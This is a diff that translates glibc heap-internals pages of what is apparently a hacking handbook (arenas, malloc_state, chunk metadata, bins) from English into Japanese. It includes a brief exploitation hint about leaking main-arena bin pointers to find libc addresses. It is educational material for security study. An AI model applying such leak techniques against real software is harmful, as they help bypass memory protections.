mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck. +**マルチスレッド**アプリケーションでは、ヒープマネージャーはクラッシュを引き起こす可能性のある**レースコンディション**を防ぐ必要があります。最初は、グローバルミューテックスを使用して、同時に1つのスレッドだけがヒープにアクセスできるようにしていましたが、これによりミューテックスによるボトルネックが発生し、**パフォーマンスの問題**が生じました。 -To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas. +これに対処するために、ptmalloc2ヒープアロケータは「アリーナ」を導入しました。ここで**各アリーナ**は**独自の**データ**構造**と**ミューテックス**を持つ**別々のヒープ**として機能し、異なるアリーナを使用する限り、複数のスレッドが互いに干渉することなくヒープ操作を実行できます。 -The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention. +デフォルトの「メイン」アリーナは、シングルスレッドアプリケーションのヒープ操作を処理します。**新しいスレッド**が追加されると、ヒープマネージャーは競合を減らすために**セカンダリアリーナ**を割り当てます。最初に、各新しいスレッドを未使用のアリーナに接続しようとし、必要に応じて新しいアリーナを作成します。32ビットシステムではCPUコア数の2倍、64ビットシステムでは8倍の制限があります。制限に達すると、**スレッドはアリーナを共有しなければならず**、競合の可能性が生じます。 -Unlike the main arena, which expands using the `brk` system call, secondary arenas create "subheaps" using `mmap` and `mprotect` to simulate the heap behaviour, allowing flexibility in managing memory for multithreaded operations. +メインアリーナとは異なり、`brk`システムコールを使用して拡張されるメインアリーナに対し、セカンダリアリーナは`mmap`と`mprotect`を使用して「サブヒープ」を作成し、マルチスレッド操作のためのメモリ管理の柔軟性を提供します。 -### Subheaps +### サブヒープ -Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate: +サブヒープは、マルチスレッドアプリケーションにおけるセカンダリアリーナのメモリ予備として機能し、メインヒープとは別に自分自身のヒープ領域を成長させ、管理することを可能にします。サブヒープが初期ヒープとどのように異なり、どのように機能するかは次のとおりです: -1. **Initial Heap vs. Subheaps**: - - The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call. - - Subheaps, used by secondary arenas, are created through `mmap`, a system call that maps a specified memory region. -2. **Memory Reservation with `mmap`**: - - When the heap manager creates a subheap, it reserves a large block of memory through `mmap`. This reservation doesn't allocate memory immediately; it simply designates a region that other system processes or allocations shouldn't use. - - By default, the reserved size for a subheap is 1 MB for 32-bit processes and 64 MB for 64-bit processes. -3. **Gradual Expansion with `mprotect`**: - - The reserved memory region is initially marked as `PROT_NONE`, indicating that the kernel doesn't need to allocate physical memory to this space yet. - - To "grow" the subheap, the heap manager uses `mprotect` to change page permissions from `PROT_NONE` to `PROT_READ | PROT_WRITE`, prompting the kernel to allocate physical memory to the previously reserved addresses. This step-by-step approach allows the subheap to expand as needed. - - Once the entire subheap is exhausted, the heap manager creates a new subheap to continue allocation. +1. **初期ヒープとサブヒープ**: +- 初期ヒープはプログラムのバイナリの直後にメモリに位置し、`sbrk`システムコールを使用して拡張されます。 +- セカンダリアリーナによって使用されるサブヒープは、指定されたメモリ領域をマッピングするシステムコールである`mmap`を通じて作成されます。 +2. **`mmap`によるメモリ予約**: +- ヒープマネージャーがサブヒープを作成するとき、大きなメモリブロックを`mmap`を通じて予約します。この予約は即座にメモリを割り当てるわけではなく、他のシステムプロセスや割り当てが使用しないべき領域を指定するだけです。 +- デフォルトでは、サブヒープの予約サイズは32ビットプロセスで1MB、64ビットプロセスで64MBです。 +3. **`mprotect`による段階的拡張**: +- 予約されたメモリ領域は最初に`PROT_NONE`としてマークされ、カーネルがこのスペースに物理メモリを割り当てる必要がないことを示します。 +- サブヒープを「成長させる」ために、ヒープマネージャーは`mprotect`を使用してページの権限を`PROT_NONE`から`PROT_READ | PROT_WRITE`に変更し、カーネルに以前に予約されたアドレスに物理メモリを割り当てるように促します。この段階的アプローチにより、サブヒープは必要に応じて拡張できます。 +- サブヒープが完全に使い果たされると、ヒープマネージャーは新しいサブヒープを作成して割り当てを続けます。 ### heap_info -This struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info. - +この構造体はヒープの関連情報を割り当てます。さらに、ヒープメモリは追加の割り当ての後に連続していない場合があり、この構造体はその情報も保存します。 ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837 typedef struct _heap_info { - mstate ar_ptr; /* Arena for this heap. */ - struct _heap_info *prev; /* Previous heap. */ - size_t size; /* Current size in bytes. */ - size_t mprotect_size; /* Size in bytes that has been mprotected - PROT_READ|PROT_WRITE. */ - size_t pagesize; /* Page size used when allocating the arena. */ - /* Make sure the following data is properly aligned, particularly - that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of - MALLOC_ALIGNMENT. */ - char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; +mstate ar_ptr; /* Arena for this heap. */ +struct _heap_info *prev; /* Previous heap. */ +size_t size; /* Current size in bytes. */ +size_t mprotect_size; /* Size in bytes that has been mprotected +PROT_READ|PROT_WRITE. */ +size_t pagesize; /* Page size used when allocating the arena. */ +/* Make sure the following data is properly aligned, particularly +that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of +MALLOC_ALIGNMENT. */ +char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; } heap_info; ``` - ### malloc_state -**Each heap** (main arena or other threads arenas) has a **`malloc_state` structure.**\ -It’s important to notice that the **main arena `malloc_state`** structure is a **global variable in the libc** (therefore located in the libc memory space).\ -In the case of **`malloc_state`** structures of the heaps of threads, they are located **inside own thread "heap"**. +**各ヒープ**(メインアリーナまたは他のスレッドアリーナ)には**`malloc_state`構造体があります。**\ +**メインアリーナの`malloc_state`**構造体は**libcのグローバル変数**であることに注意することが重要です(したがって、libcのメモリ空間にあります)。\ +スレッドのヒープの**`malloc_state`**構造体は、**各スレッドの「ヒープ」内にあります**。 -There some interesting things to note from this structure (see C code below): +この構造体から注目すべき興味深い点がいくつかあります(以下のCコードを参照): -- `__libc_lock_define (, mutex);` Is there to make sure this structure from the heap is accessed by 1 thread at a time -- Flags: +- `__libc_lock_define (, mutex);` は、このヒープの構造体が1つのスレッドによって同時にアクセスされることを保証するためにあります。 +- フラグ: - - ```c - #define NONCONTIGUOUS_BIT (2U) +- ```c +#define NONCONTIGUOUS_BIT (2U) - #define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0) - #define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0) - #define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) - #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) - ``` - -- The `mchunkptr bins[NBINS * 2 - 2];` contains **pointers** to the **first and last chunks** of the small, large and unsorted **bins** (the -2 is because the index 0 is not used) - - Therefore, the **first chunk** of these bins will have a **backwards pointer to this structure** and the **last chunk** of these bins will have a **forward pointer** to this structure. Which basically means that if you can l**eak these addresses in the main arena** you will have a pointer to the structure in the **libc**. -- The structs `struct malloc_state *next;` and `struct malloc_state *next_free;` are linked lists os arenas -- The `top` chunk is the last "chunk", which is basically **all the heap reminding space**. Once the top chunk is "empty", the heap is completely used and it needs to request more space. -- The `last reminder` chunk comes from cases where an exact size chunk is not available and therefore a bigger chunk is splitter, a pointer remaining part is placed here. +#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0) +#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0) +#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) +#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) +``` +- `mchunkptr bins[NBINS * 2 - 2];` は、**小さな、大きな、未ソートの** **ビン**の**最初と最後のチャンク**への**ポインタ**を含んでいます(-2はインデックス0が使用されないためです)。 +- したがって、これらのビンの**最初のチャンク**はこの構造体への**逆ポインタ**を持ち、これらのビンの**最後のチャンク**はこの構造体への**前方ポインタ**を持ちます。基本的に、もしあなたが**メインアリーナでこれらのアドレスを漏洩させることができれば**、あなたは**libc**内の構造体へのポインタを持つことになります。 +- 構造体`struct malloc_state *next;`と`struct malloc_state *next_free;`はアリーナのリンクリストです。 +- `top`チャンクは最後の「チャンク」であり、基本的に**ヒープの残りのすべてのスペース**です。トップチャンクが「空」であるとき、ヒープは完全に使用されており、さらにスペースを要求する必要があります。 +- `last reminder`チャンクは、正確なサイズのチャンクが利用できない場合に発生し、したがって大きなチャンクが分割され、残りの部分のポインタがここに置かれます。 ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 struct malloc_state { - /* Serialize access. */ - __libc_lock_define (, mutex); +/* Serialize access. */ +__libc_lock_define (, mutex); - /* Flags (formerly in max_fast). */ - int flags; +/* Flags (formerly in max_fast). */ +int flags; - /* Set if the fastbin chunks contain recently inserted free blocks. */ - /* Note this is a bool but not all targets support atomics on booleans. */ - int have_fastchunks; +/* Set if the fastbin chunks contain recently inserted free blocks. */ +/* Note this is a bool but not all targets support atomics on booleans. */ +int have_fastchunks; - /* Fastbins */ - mfastbinptr fastbinsY[NFASTBINS]; +/* Fastbins */ +mfastbinptr fastbinsY[NFASTBINS]; - /* Base of the topmost chunk -- not otherwise kept in a bin */ - mchunkptr top; +/* Base of the topmost chunk -- not otherwise kept in a bin */ +mchunkptr top; - /* The remainder from the most recent split of a small request */ - mchunkptr last_remainder; +/* The remainder from the most recent split of a small request */ +mchunkptr last_remainder; - /* Normal bins packed as described above */ - mchunkptr bins[NBINS * 2 - 2]; +/* Normal bins packed as described above */ +mchunkptr bins[NBINS * 2 - 2]; - /* Bitmap of bins */ - unsigned int binmap[BINMAPSIZE]; +/* Bitmap of bins */ +unsigned int binmap[BINMAPSIZE]; - /* Linked list */ - struct malloc_state *next; +/* Linked list */ +struct malloc_state *next; - /* Linked list for free arenas. Access to this field is serialized - by free_list_lock in arena.c. */ - struct malloc_state *next_free; +/* Linked list for free arenas. Access to this field is serialized +by free_list_lock in arena.c. */ +struct malloc_state *next_free; - /* Number of threads attached to this arena. 0 if the arena is on - the free list. Access to this field is serialized by - free_list_lock in arena.c. */ - INTERNAL_SIZE_T attached_threads; +/* Number of threads attached to this arena. 0 if the arena is on +the free list. Access to this field is serialized by +free_list_lock in arena.c. */ +INTERNAL_SIZE_T attached_threads; - /* Memory allocated from the system in this arena. */ - INTERNAL_SIZE_T system_mem; - INTERNAL_SIZE_T max_system_mem; +/* Memory allocated from the system in this arena. */ +INTERNAL_SIZE_T system_mem; +INTERNAL_SIZE_T max_system_mem; }; ``` - ### malloc_chunk -This structure represents a particular chunk of memory. The various fields have different meaning for allocated and unallocated chunks. - +この構造体は特定のメモリチャンクを表します。さまざまなフィールドは、割り当てられたチャンクと未割り当てのチャンクで異なる意味を持ちます。 ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c struct malloc_chunk { - INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */ - INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ - struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */ - struct malloc_chunk* bk; - /* Only used for large blocks: pointer to next larger size. */ - struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */ - struct malloc_chunk* bk_nextsize; +INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */ +INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ +struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */ +struct malloc_chunk* bk; +/* Only used for large blocks: pointer to next larger size. */ +struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */ +struct malloc_chunk* bk_nextsize; }; typedef struct malloc_chunk* mchunkptr; ``` - -As commented previously, these chunks also have some metadata, very good represented in this image: +以前にコメントしたように、これらのチャンクにはメタデータも含まれており、以下の画像で非常に良く表現されています:

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

-The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate: +メタデータは通常0x08Bで、現在のチャンクサイズを示し、最後の3ビットを使用して次のことを示します: -- `A`: If 1 it comes from a subheap, if 0 it's in the main arena -- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap -- `P`: If 1, the previous chunk is in use +- `A`: 1の場合はサブヒープから、0の場合はメインアリーナにあります +- `M`: 1の場合、このチャンクはmmapで割り当てられたスペースの一部であり、ヒープの一部ではありません +- `P`: 1の場合、前のチャンクは使用中です -Then, the space for the user data, and finally 0x08B to indicate the previous chunk size when the chunk is available (or to store user data when it's allocated). +次に、ユーザーデータのためのスペースがあり、最後にチャンクが利用可能なときの前のチャンクサイズを示すために0x08Bがあります(または割り当てられているときにユーザーデータを格納するため)。 -Moreover, when available, the user data is used to contain also some data: +さらに、利用可能な場合、ユーザーデータは他のデータも含むために使用されます: -- **`fd`**: Pointer to the next chunk -- **`bk`**: Pointer to the previous chunk -- **`fd_nextsize`**: Pointer to the first chunk in the list is smaller than itself -- **`bk_nextsize`:** Pointer to the first chunk the list that is larger than itself +- **`fd`**: 次のチャンクへのポインタ +- **`bk`**: 前のチャンクへのポインタ +- **`fd_nextsize`**: リスト内で自分より小さい最初のチャンクへのポインタ +- **`bk_nextsize`:** リスト内で自分より大きい最初のチャンクへのポインタ

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

> [!NOTE] -> Note how liking the list this way prevents the need to having an array where every single chunk is being registered. +> このようにリストをリンクすることで、すべてのチャンクが登録されている配列を持つ必要がなくなることに注意してください。 -### Chunk Pointers - -When malloc is used a pointer to the content that can be written is returned (just after the headers), however, when managing chunks, it's needed a pointer to the begining of the headers (metadata).\ -For these conversions these functions are used: +### チャンクポインタ +mallocが使用されると、書き込むことができるコンテンツへのポインタが返されます(ヘッダーの直後)、ただし、チャンクを管理する際には、ヘッダー(メタデータ)の先頭へのポインタが必要です。\ +これらの変換には、次の関数が使用されます: ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -207,13 +200,11 @@ For these conversions these functions are used: /* The smallest size we can malloc is an aligned minimal chunk */ #define MINSIZE \ - (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) +(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) ``` +### アライメントと最小サイズ -### Alignment & min size - -The pointer to the chunk and `0x0f` must be 0. - +チャンクへのポインタと `0x0f` は 0 でなければなりません。 ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61 #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) @@ -227,56 +218,54 @@ The pointer to the chunk and `0x0f` must be 0. #define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0) #define misaligned_chunk(p) \ - ((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \ - & MALLOC_ALIGN_MASK) +((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \ +& MALLOC_ALIGN_MASK) /* pad request bytes into a usable size -- internal version */ /* Note: This must be a macro that evaluates to a compile time constant - if passed a literal constant. */ +if passed a literal constant. */ #define request2size(req) \ - (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ - MINSIZE : \ - ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) +(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ +MINSIZE : \ +((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) /* Check if REQ overflows when padded and aligned and if the resulting - value is less than PTRDIFF_T. Returns the requested size or - MINSIZE in case the value is less than MINSIZE, or 0 if any of the - previous checks fail. */ +value is less than PTRDIFF_T. Returns the requested size or +MINSIZE in case the value is less than MINSIZE, or 0 if any of the +previous checks fail. */ static inline size_t checked_request2size (size_t req) __nonnull (1) { - if (__glibc_unlikely (req > PTRDIFF_MAX)) - return 0; +if (__glibc_unlikely (req > PTRDIFF_MAX)) +return 0; - /* When using tagged memory, we cannot share the end of the user - block with the header for the next chunk, so ensure that we - allocate blocks that are rounded up to the granule size. Take - care not to overflow from close to MAX_SIZE_T to a small - number. Ideally, this would be part of request2size(), but that - must be a macro that produces a compile time constant if passed - a constant literal. */ - if (__glibc_unlikely (mtag_enabled)) - { - /* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */ - asm (""); +/* When using tagged memory, we cannot share the end of the user +block with the header for the next chunk, so ensure that we +allocate blocks that are rounded up to the granule size. Take +care not to overflow from close to MAX_SIZE_T to a small +number. Ideally, this would be part of request2size(), but that +must be a macro that produces a compile time constant if passed +a constant literal. */ +if (__glibc_unlikely (mtag_enabled)) +{ +/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */ +asm (""); - req = (req + (__MTAG_GRANULE_SIZE - 1)) & - ~(size_t)(__MTAG_GRANULE_SIZE - 1); - } +req = (req + (__MTAG_GRANULE_SIZE - 1)) & +~(size_t)(__MTAG_GRANULE_SIZE - 1); +} - return request2size (req); +return request2size (req); } ``` +合計必要スペースを計算する際、`prev_size` フィールドがデータを格納するために使用できるため、`SIZE_SZ` は1回だけ追加されることに注意してください。そのため、初期ヘッダーのみが必要です。 -Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed. +### チャンクデータを取得し、メタデータを変更する -### Get Chunk data and alter metadata - -These functions work by receiving a pointer to a chunk and are useful to check/set metadata: - -- Check chunk flags +これらの関数はチャンクへのポインタを受け取り、メタデータをチェック/設定するのに便利です: +- チャンクフラグをチェック ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -296,8 +285,8 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained - from a non-main arena. This is only set immediately before handing - the chunk to the user, if necessary. */ +from a non-main arena. This is only set immediately before handing +the chunk to the user, if necessary. */ #define NON_MAIN_ARENA 0x4 /* Check for chunk from main arena. */ @@ -306,18 +295,16 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Mark a chunk as not being on the main arena. */ #define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA) ``` - -- Sizes and pointers to other chunks - +- サイズと他のチャンクへのポインタ ```c /* - Bits to mask off when extracting size +Bits to mask off when extracting size - Note: IS_MMAPPED is intentionally not masked off from size field in - macros for which mmapped chunks should never be seen. This should - cause helpful core dumps to occur if it is tried by accident by - people extending or adapting this malloc. - */ +Note: IS_MMAPPED is intentionally not masked off from size field in +macros for which mmapped chunks should never be seen. This should +cause helpful core dumps to occur if it is tried by accident by +people extending or adapting this malloc. +*/ #define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) /* Get size, ignoring use bits */ @@ -341,35 +328,31 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Treat space at ptr + offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) ``` - -- Insue bit - +- インスイービット ```c /* extract p's inuse bit */ #define inuse(p) \ - ((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE) +((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE) /* set/clear chunk as being inuse without otherwise disturbing */ #define set_inuse(p) \ - ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE +((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE #define clear_inuse(p) \ - ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE) +((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE) /* check/set/clear inuse bits in known places */ #define inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE) #define set_inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE) #define clear_inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) ``` - -- Set head and footer (when chunk nos in use - +- チャンク番号が使用されている場合、ヘッダーとフッターを設定する ```c /* Set size at head, without disturbing its use bit */ #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) @@ -380,44 +363,40 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Set size at footer (only when chunk is not in use) */ #define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s)) ``` - -- Get the size of the real usable data inside the chunk - +- チャンク内の実際に使用可能なデータのサイズを取得する ```c #pragma GCC poison mchunk_size #pragma GCC poison mchunk_prev_size /* This is the size of the real usable data in the chunk. Not valid for - dumped heap chunks. */ +dumped heap chunks. */ #define memsize(p) \ - (__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \ - chunksize (p) - CHUNK_HDR_SZ : \ - chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ)) +(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \ +chunksize (p) - CHUNK_HDR_SZ : \ +chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ)) /* If memory tagging is enabled the layout changes to accommodate the granule - size, this is wasteful for small allocations so not done by default. - Both the chunk header and user data has to be granule aligned. */ +size, this is wasteful for small allocations so not done by default. +Both the chunk header and user data has to be granule aligned. */ _Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ, - "memory tagging is not supported with large granule."); +"memory tagging is not supported with large granule."); static __always_inline void * tag_new_usable (void *ptr) { - if (__glibc_unlikely (mtag_enabled) && ptr) - { - mchunkptr cp = mem2chunk(ptr); - ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp)); - } - return ptr; +if (__glibc_unlikely (mtag_enabled) && ptr) +{ +mchunkptr cp = mem2chunk(ptr); +ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp)); +} +return ptr; } ``` +## 例 -## Examples - -### Quick Heap Example - -Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) but in arm64: +### クイックヒープの例 +[https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) からのクイックヒープの例ですが、arm64で: ```c #include #include @@ -425,32 +404,28 @@ Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](http void main(void) { - char *ptr; - ptr = malloc(0x10); - strcpy(ptr, "panda"); +char *ptr; +ptr = malloc(0x10); +strcpy(ptr, "panda"); } ``` - -Set a breakpoint at the end of the main function and lets find out where the information was stored: +メイン関数の終わりにブレークポイントを設定し、情報がどこに保存されたかを見てみましょう:
-It's possible to see that the string panda was stored at `0xaaaaaaac12a0` (which was the address given as response by malloc inside `x0`). Checking 0x10 bytes before it's possible to see that the `0x0` represents that the **previous chunk is not used** (length 0) and that the length of this chunk is `0x21`. - -The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x10) and 0x1 doesn't mean that it was reserved 0x21B but the last 3 bits of the length of the current headed have the some special meanings. As the length is always 16-byte aligned (in 64bits machines), these bits are actually never going to be used by the length number. +文字列pandaが`0xaaaaaaac12a0`に保存されていることがわかります(これは`x0`内のmallocによって返されたアドレスです)。0x10バイト前を確認すると、`0x0`は**前のチャンクが使用されていない**ことを示しており(長さ0)、このチャンクの長さは`0x21`です。 +予約された余分なスペース(0x21-0x10=0x11)は**追加ヘッダー**(0x10)から来ており、0x1は0x21Bが予約されたことを意味するのではなく、現在のヘッダーの長さの最後の3ビットには特別な意味があります。長さは常に16バイト境界に揃えられているため(64ビットマシンで)、これらのビットは実際には長さの数値によって使用されることはありません。 ``` 0x1: Previous in Use - Specifies that the chunk before it in memory is in use 0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap() 0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena ``` - -### Multithreading Example +### マルチスレッドの例
-Multithread - +マルチスレッド ```c #include #include @@ -460,56 +435,55 @@ The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x1 void* threadFuncMalloc(void* arg) { - printf("Hello from thread 1\n"); - char* addr = (char*) malloc(1000); - printf("After malloc and before free in thread 1\n"); - free(addr); - printf("After free in thread 1\n"); +printf("Hello from thread 1\n"); +char* addr = (char*) malloc(1000); +printf("After malloc and before free in thread 1\n"); +free(addr); +printf("After free in thread 1\n"); } void* threadFuncNoMalloc(void* arg) { - printf("Hello from thread 2\n"); +printf("Hello from thread 2\n"); } int main() { - pthread_t t1; - void* s; - int ret; - char* addr; +pthread_t t1; +void* s; +int ret; +char* addr; - printf("Before creating thread 1\n"); - getchar(); - ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL); - getchar(); +printf("Before creating thread 1\n"); +getchar(); +ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL); +getchar(); - printf("Before creating thread 2\n"); - ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL); +printf("Before creating thread 2\n"); +ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL); - printf("Before exit\n"); - getchar(); +printf("Before exit\n"); +getchar(); - return 0; +return 0; } ``` -
-Debugging the previous example it's possible to see how at the beginning there is only 1 arena: +前の例をデバッグすると、最初に1つのアリーナしかないことがわかります:
-Then, after calling the first thread, the one that calls malloc, a new arena is created: +次に、最初のスレッド、mallocを呼び出すスレッドを呼び出すと、新しいアリーナが作成されます:
-and inside of it some chunks can be found: +その中にはいくつかのチャンクが見つかります:
## Bins & Memory Allocations/Frees -Check what are the bins and how are they organized and how memory is allocated and freed in: +ビンが何であり、どのように整理されているか、メモリがどのように割り当てられ、解放されるかを確認してください: {{#ref}} bins-and-memory-allocations.md @@ -517,7 +491,7 @@ bins-and-memory-allocations.md ## Heap Functions Security Checks -Functions involved in heap will perform certain check before performing its actions to try to make sure the heap wasn't corrupted: +ヒープに関与する関数は、アクションを実行する前に特定のチェックを行い、ヒープが破損していないことを確認しようとします: {{#ref}} heap-memory-functions/heap-functions-security-checks.md diff --git a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md index eb184fc93..76723e1e1 100644 --- a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md +++ b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md @@ -2,60 +2,55 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -In order to improve the efficiency on how chunks are stored every chunk is not just in one linked list, but there are several types. These are the bins and there are 5 type of bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread. +チャンクの保存効率を向上させるために、各チャンクは単一のリンクリストにだけ存在するのではなく、いくつかのタイプがあります。これらはビンと呼ばれ、5種類のビンがあります: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) 小ビン、63 大ビン、1 未整理ビン、10 ファストビン、64 tcacheビン(スレッドごと)。 -The initial address to each unsorted, small and large bins is inside the same array. The index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins. +未整理、小ビン、大ビンの各ビンへの初期アドレスは同じ配列内にあります。インデックス0は未使用、1は未整理ビン、ビン2-64は小ビン、ビン65-127は大ビンです。 -### Tcache (Per-Thread Cache) Bins +### Tcache(スレッドごとのキャッシュ)ビン -Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**. +スレッドはそれぞれ独自のヒープを持とうとしますが([アリーナ](bins-and-memory-allocations.md#arenas)および[サブヒープ](bins-and-memory-allocations.md#subheaps)を参照)、多くのスレッドを持つプロセス(ウェブサーバーなど)が**他のスレッドとヒープを共有する可能性があります**。この場合、主な解決策は**ロッカー**の使用であり、これにより**スレッドが大幅に遅くなる可能性があります**。 -Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size 